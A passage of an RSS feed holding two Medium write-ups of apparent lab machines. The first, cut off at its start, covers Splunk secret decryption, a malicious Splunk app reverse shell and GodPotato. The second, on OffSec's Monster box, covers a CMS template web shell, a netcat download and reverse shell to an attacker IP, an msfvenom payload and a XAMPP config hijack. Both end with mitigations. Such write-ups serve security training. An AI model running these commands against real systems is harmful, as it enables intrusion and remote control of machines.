<strong>Evil-WinRM</strong> to log in as edward.martin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*T9K8JTzvlhSHEtQG0t4mvw.png" /></figure><p>While enumerating edward.martin&#39;s privileges, I discovered that he was a member of a <strong>non-default Active Directory group</strong> named Backup_Reviewers. This group had <strong>exclusive access</strong> to a directory named C:\Backups.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vo7KwaEmcB-rFDwh3NbnMg.png" /></figure><p>This appeared to be a <strong>backup of an older Splunk deployment</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*7sH9Hy-3Stt5RvxEE7GGIg.png" /></figure><p>Using <strong>Evil-WinRM</strong>, I downloaded the ZIP file to my Kali machine and began examining its contents. Within the extracted directories, I found a path resembling: <strong>/var/run/splunk/confsnapshot/</strong></p><p>The folder appeared to contain snapshots of Splunk configuration files. After thoroughly enumerating, I located a file named: <strong>authentication.conf</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/1*2xIHUAXDQajmbD2yTm8y1A.png" /></figure><p>This file included a <strong>bindDNpassword</strong> entry, an encrypted password likely used for LDAP binding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/741/1*z0SnExbvSK0AfHwUYR037Q.png" /></figure><p>I then retrieved the <strong>Splunk secret key</strong> (splunk.secret) from: <strong>/splunk/etc/auth/splunk.secret</strong></p><p>With both the encrypted password and the secret key in hand, I used <a href="https://github.com/HurricaneLabs/splunksecrets">splunksecrets</a> tool to <strong>decrypt the </strong><strong>bindDNpassword</strong>, revealing credentials that would aid in further lateral movement or escalation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/439/1*IbXv4dKI3SP70F8wgd30_A.png" /></figure><p>Using the decrypted LDAP credentials, I was able to successfully <strong>log into the Splunk Admin Web Interface</strong> running on port 8000.</p><p>After gaining access to the Splunk dashboard, I came across a technique detailed in the <em>HackTheTricks</em> blog, specifically from their <strong>Splunkd Reverse Shell</strong> post. The idea was to exploit Splunk’s ability to execute custom scripts by crafting a malicious .spl app package.</p><p>Following the proof-of-concept, I:</p><ul><li>Created a .spl package containing a reverse shell payload.</li><li>Uploaded the app through the Splunk web UI.</li><li>Once the app was deployed, I received a <strong>reverse shell</strong> on my listener as the user:<br> alexander.green.</li></ul><p><a href="https://book.hacktricks.wiki/en/network-services-pentesting/8089-splunkd.html?highlight=splunk#shodan">https://book.hacktricks.wiki/en/network-services-pentesting/8089-splunkd.html?highlight=splunk#shodan</a></p><p><a href="https://github.com/0xjpuff/reverse_shell_splunk">https://github.com/0xjpuff/reverse_shell_splunk</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/783/1*8yczleLErVxyjGVh59SDMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/581/1*SZAfIdX_I4ZooZ_-EWaovA.png" /></figure><p>Upon enumerating privileges for alexander.green, I found that the user had <strong>SeImpersonatePrivilege.</strong></p><p>This privilege is commonly abused for <strong>privilege escalation</strong> via <strong>token impersonation attacks</strong>.I then used the GodPotato tool to escalate privileges and successfully obtained a <strong>SYSTEM shell</strong>.</p><blockquote>⚠️ <strong>Note</strong>: Before running <em>GodPotato</em>, ensure that the machine has the required .NET version installed, as this is critical for exploitation success.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*J8YJgfI4eScsLL6wwfggpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*GeO8Hz_YuQslMm-YigCFxg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/507/1*lF2qOxPh5-K041Vomfi0Dw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/450/1*nvU2Y8z6X0emhw5Lzdxu0Q.png" /></figure><h3>Mitigations:</h3><ul><li><strong>Update Splunk</strong> to the latest version to patch CVE-2024–36991.</li><li>Enforce <strong>strong password policies</strong> and <strong>account lockouts</strong> after N failed attempts.</li><li>Protect <strong>secrets.txt</strong> and <strong>authentication.conf</strong> using strict file-level ACLs (Administrators only).</li><li>Rotate all service account passwords regularly and store them in a <strong>secure vault.</strong></li><li>Limit who can read <strong>GMSA passwords</strong> by reviewing PrincipalsAllowedToRetrieveManagedPassword</li><li>Disable app installation from the web interface unless required.</li><li>Run Splunk with <strong>least privilege</strong>; do not grant Splunk service accounts unnecessary Windows privileges.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b9db1d645841" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Monster | Offsec Proving Ground]]></title>
            <link>https://medium.com/@tushar_rana/monster-offsec-proving-ground-machine-writeup-151a26571391?source=rss-dd8b469532c4------2</link>
            <guid isPermaLink="false">https://medium.com/p/151a26571391</guid>
            <category><![CDATA[walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Diabl0xE]]></dc:creator>
            <pubDate>Fri, 06 Jun 2025 01:51:27 GMT</pubDate>
            <atom:updated>2025-06-10T22:17:12.343Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/707/0*jlh97GiiFhTysxMW" /></figure><h3>Initial Foothold</h3><p><strong>Nmap Scan Result:</strong></p><blockquote>nmap -A 10.129.53.191</blockquote><pre>nmap -A 192.168.196.180<br>Starting Nmap 7.95 ( https://nmap.org ) at 2025–06–05 03:47 EDT<br>Nmap scan report for 192.168.196.180<br>Host is up (0.12s latency).<br>Not shown: 994 closed tcp ports (reset)<br>PORT STATE SERVICE VERSION<br>80/tcp open http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)<br>|_http-title: Mike Wazowski<br>| http-methods: <br>|_ Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10<br>135/tcp open msrpc Microsoft Windows RPC<br>139/tcp open netbios-ssn Microsoft Windows netbios-ssn<br>443/tcp open ssl/http Apache httpd 2.4.41 ((Win64) OpenSSL/1.1.1c PHP/7.3.10)<br>|_http-server-header: Apache/2.4.41 (Win64) OpenSSL/1.1.1c PHP/7.3.10<br>|_ssl-date: TLS randomness does not represent time<br>| tls-alpn: <br>|_ http/1.1<br>|_http-title: Mike Wazowski<br>| http-methods: <br>|_ Potentially risky methods: TRACE<br>| ssl-cert: Subject: commonName=localhost<br>| Not valid before: 2009–11–10T23:48:47<br>|_Not valid after: 2019–11–08T23:48:47<br>445/tcp open microsoft-ds?<br>3389/tcp open ms-wbt-server Microsoft Terminal Services<br>| rdp-ntlm-info: <br>| Target_Name: MIKE-PC<br>| NetBIOS_Domain_Name: MIKE-PC<br>| NetBIOS_Computer_Name: MIKE-PC<br>| DNS_Domain_Name: Mike-PC<br>| DNS_Computer_Name: Mike-PC<br>| Product_Version: 10.0.19041<br>|_ System_Time: 2025–06–05T07:48:11+00:00<br>| ssl-cert: Subject: commonName=Mike-PC<br>| Not valid before: 2025–06–04T07:47:04<br>|_Not valid after: 2025–12–04T07:47:04<br>|_ssl-date: 2025–06–05T07:48:19+00:00; +1s from scanner time.<br>No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).<br>TCP/IP fingerprint:<br>OS:SCAN(V=7.95%E=4%D=6/5%OT=80%CT=1%CU=31813%PV=Y%DS=4%DC=T%G=Y%TM=68414BC4<br>OS:%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10B%TI=I%CI=I%TS=U)SEQ(SP=10<br>OS:2%GCD=1%ISR=105%TI=I%CI=I%TS=U)SEQ(SP=102%GCD=1%ISR=109%TI=I%CI=I%TS=U)S<br>OS:EQ(SP=105%GCD=1%ISR=108%TI=I%CI=I%TS=U)SEQ(SP=105%GCD=1%ISR=109%TI=I%CI=<br>OS:I%TS=U)OPS(O1=M578NW8NNS%O2=M578NW8NNS%O3=M578NW8%O4=M578NW8NNS%O5=M578N<br>OS:W8NNS%O6=M578NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)ECN<br>OS:(R=Y%DF=Y%T=80%W=FFFF%O=M578NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=A<br>OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%Q=)T5(R<br>OS:=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%A=O%F<br>OS:=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%<br>OS:RUCK=G%RUD=G)IE(R=N)</pre><pre>Network Distance: 4 hops<br>Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows</pre><pre>Host script results:<br>| smb2-time: <br>| date: 2025–06–05T07:48:11<br>|_ start_date: N/A<br>| smb2-security-mode: <br>| 3:1:1: <br>|_ Message signing enabled but not required</pre><pre>TRACEROUTE (using port 21/tcp)<br>HOP RTT ADDRESS<br>1 118.32 ms 192.168.45.1<br>2 118.27 ms 192.168.45.254<br>3 119.97 ms 192.168.251.1<br>4 120.08 ms 192.168.196.180</pre><pre>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 41.48 seconds</pre><p>Scanning all possible open ports</p><blockquote><em>nmap -sS -p- -T5 — max-retries 2 192.168.196.180</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*EI-JyD8e8L1k3o634ymYtw.png" /></figure><blockquote>Interesting Open Ports 80, 135, 139, 443, 445, 3389</blockquote><p>Enumerated SMB service running on port 445, but found nothing of interest.</p><p>Checking Web Server which is running on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0zAMB90tIv0acViwLMmyvQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1S5mBzxm-SnoMGdsyBMbWg.png" /></figure><p>Surfing through web server found nothing interesting, Performing directory brute-force on web server to find interesting hidden directories using tool feroxbuster.</p><blockquote>feroxbuster -u <a href="http://192.168.196.180/">http://192.168.196.180/</a> -w big.txt — scan-dir-listings -C 404</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*_PmmbFgowaT6U64Wd-sl1Q.png" /></figure><p>Right of the bat discovered a directory called blog.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oPbm_HbVWhk6u2SyAfn7Ug.png" /></figure><p>After, clicking on “log in” link which is redirecting to monster.pg host.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cfxrQTRSvuOtLDvkwBf0oA.png" /></figure><p>Adding host Monster.pg and machine name to my Hosts config file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/838/1*twy7LkridNbf9qeVzCqfmg.png" /></figure><p>After refreshing tab, I can see that Monstra CMS is running on this web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-5H5kI5GYG8YQ1N860w2zA.png" /></figure><p>Tried default creds like admin:admin, mike:mike, mike:wazowski, etc. Had no luck. Moving forward with creating a custom password list using cewl tool. And using Custom list further to brute-force login using burpsuite.</p><blockquote>cewl -d 5 <a href="http://192.168.196.180/">http://192.168.196.180/</a> -w pass</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*BB6wGC3RA4XEjPIw4f1uHA.png" /></figure><p>Before brute-forcing will have to find a way to bypass log in rate limit. After Goggling around, Found an interesting article demonstrating a POC how to bypass login rate limit on Monstra CMS v3.0.5: <a href="https://abdilahrf.github.io/cve/login-rate-limiting-bypass">https://abdilahrf.github.io/cve/login-rate-limiting-bypass</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*77KXe8voqqw9rS4de1byrg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*eqUZItTbX293VC_yaZSJRw.png" /></figure><p>Got a hit on “admin:wazowski” creds.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*fcyeW7H8_13HqwlYaCR7Bw.png" /></figure><p>After using found credential “admin:wazowski” can able to login to CMS successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*kuAnQOjIFYPBmIgA_cda9w.png" /></figure><p>Found an unintended way to get a shell on the machine by editing default templates of the CMS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*taGA0cZ2U0mKD5vZ5fqZpQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2dj2Dx7uL6CTLls1_DgfWQ.png" /></figure><p>Checking github page of Monstra CMS which is open source and can be accessed.</p><blockquote><a href="http://monster.pg/blog/public/themes/default/blog.template.php?cmd=whoami">http://monster.pg/blog/public/themes/default/blog.template.php</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/709/1*fkli7t9EXk52RSIB0HYjyA.png" /></figure><p>Found a location to our malicious php file. And now can successfully able to run commands remotely.</p><blockquote><a href="http://monster.pg/blog/public/themes/default/blog.template.php?cmd=whoami">http://monster.pg/blog/public/themes/default/blog.template.php?cmd=whoami</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*0LYNBm1VXQ7Upr8XAI9rSg.png" /></figure><p>Transferring over netcat binary on the target machine.</p><blockquote><a href="http://monster.pg/blog/public/themes/default/blog.template.php?cmd=powershell%20-Command%20%22Invoke-WebRequest%20http://192.168.45.191/nc.exe%20-OutFile%20nc.exe">http://monster.pg/blog/public/themes/default/blog.template.php?cmd=powershell%20-Command%20%22Invoke-WebRequest%20http://192.168.45.191/nc.exe%20-OutFile%20nc.exe</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/668/1*Mu5uU3kU48xF_AiMtAQlcw.png" /></figure><p>After running reverse shell, Hopefully, we will get a shell as a user mike.</p><blockquote><a href="http://monster.pg/blog/public/themes/default/blog.template.php?cmd=nc.exe%20192.168.45.191%201234%20-e%20powershell">http://monster.pg/blog/public/themes/default/blog.template.php?cmd=nc.exe%20192.168.45.191%201234%20-e%20powershell</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WFGTZRsNmCYqahQKLRnRfQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/559/1*wTvawFP9AgN-V6Ab5Effgg.png" /></figure><h3>Privilege Escalation</h3><p>Found a Xampp Control Panel Version to be vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*hd5ZEMsZlC7MvFWuuoFi5w.png" /></figure><p>Link For refernce:</p><blockquote><a href="https://www.exploit-db.com/exploits/50337">https://www.exploit-db.com/exploits/50337</a></blockquote><p>Creating malicious binary using msfvenom which will give us a reverse shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*Mqy1E2gDOhvZXLp0hT3qFw.png" /></figure><blockquote>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.45.191 LPORT=4444 -f exe -o shell.exe</blockquote><p>Running Listed commands on target machine, which is basically just replacing a path to our malicious payload. So whenever, a user (adminstrator) open the xampp control panel its also going to execute our payload which will give us a shell as admin.</p><pre>$file = &quot;C:\xampp\xampp-control.ini&quot;<br>$find = ((Get-Content $file)[2] -Split &quot;=&quot;)[1]<br># Insert your payload path here<br>$replace = &quot;C:\temp\shell.exe&quot;<br>(Get-Content $file) -replace $find, $replace | Set-Content $file</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*ZxOQ5OkJ8NxxHdYJGLS2Pw.png" /></figure><p>We can see that the user mike has the <strong>SeShutdownPrivilege</strong>, which permits shutting down the machine at will. Based on this, I suspect that the XAMPP Control Panel is configured to execute automatically during system startup.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*5q_xKkgAwA6KNncNJfEBYw.png" /></figure><p>After restarting machine and waiting for a few mins, I got a shell back on my machine as user administrator.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/577/1*RdnrLPq7g_PsiugJYtG4sQ.png" /></figure><h3>Mitigation</h3><ul><li>Upgrade to the <strong>latest Monster CMS version</strong> where rate limiting or brute-force protection is built-in or supported via plugins.</li><li>Enforce <strong>strong password policies</strong> (minimum length, complexity, no reuse).</li><li>Use <strong>application whitelisting</strong> and disable risky PHP functions like exec(), system(), and shell_exec() in the php.ini config.</li><li>Apply <strong>latest security patches</strong> for all components in the stack (Apache, PHP, MySQL, etc.).</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=151a26571391" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>